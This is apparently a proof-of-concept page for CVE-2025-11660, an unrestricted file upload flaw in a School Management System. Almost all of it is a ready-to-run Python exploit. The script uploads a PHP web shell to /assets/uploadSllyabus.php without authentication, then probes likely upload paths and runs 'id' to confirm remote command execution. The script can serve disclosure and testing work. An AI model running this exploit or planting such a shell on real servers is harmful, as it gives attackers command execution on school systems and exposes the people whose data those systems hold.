CVE-2025-11660：School Management System 文件上传漏洞

# CVE-2025-11660 - School Management System Unrestricted File Upload PoC # Vulnerability: Unrestricted upload in /assets/uploadSllyabus.php # Affected: ProjectsAndPrograms School Management System # Author: Security Researcher import requests # Target configuration TARGET_URL = "http://target-server.com" UPLOAD_ENDPOINT = "/assets/uploadSllyabus.php" # Malicious PHP shell payload PHP_SHELL = """<?php if (isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>""" def exploit(target_url): """ Exploit unrestricted file upload vulnerability in School Management System. Uploads a PHP web shell to gain remote code execution. """ upload_url = target_url + UPLOAD_ENDPOINT # Prepare the malicious file for upload files = { 'File': ('shell.php', PHP_SHELL, 'application/x-php') } # Send the upload request (no authentication required) print(f"[*] Targeting: {upload_url}") response = requests.post(upload_url, files=files) if response.status_code == 200: print(f"[+] Upload response: {response.text}") # Try common upload paths shell_paths = [ f"{target_url}/assets/shell.php", f"{target_url}/uploads/shell.php", f"{target_url}/assets/uploads/shell.php" ] for shell_path in shell_paths: print(f"[*] Checking shell at: {shell_path}") check = requests.get(f"{shell_path}?cmd=id") if check.status_code == 200 and 'uid=' in check.text: print(f"[+] SUCCESS! Shell accessible at: {shell_path}") print(f"[+] Command output: {check.text}") return shell_path print("[-] Exploit failed") return None if __name__ == "__main__": exploit(TARGET_URL)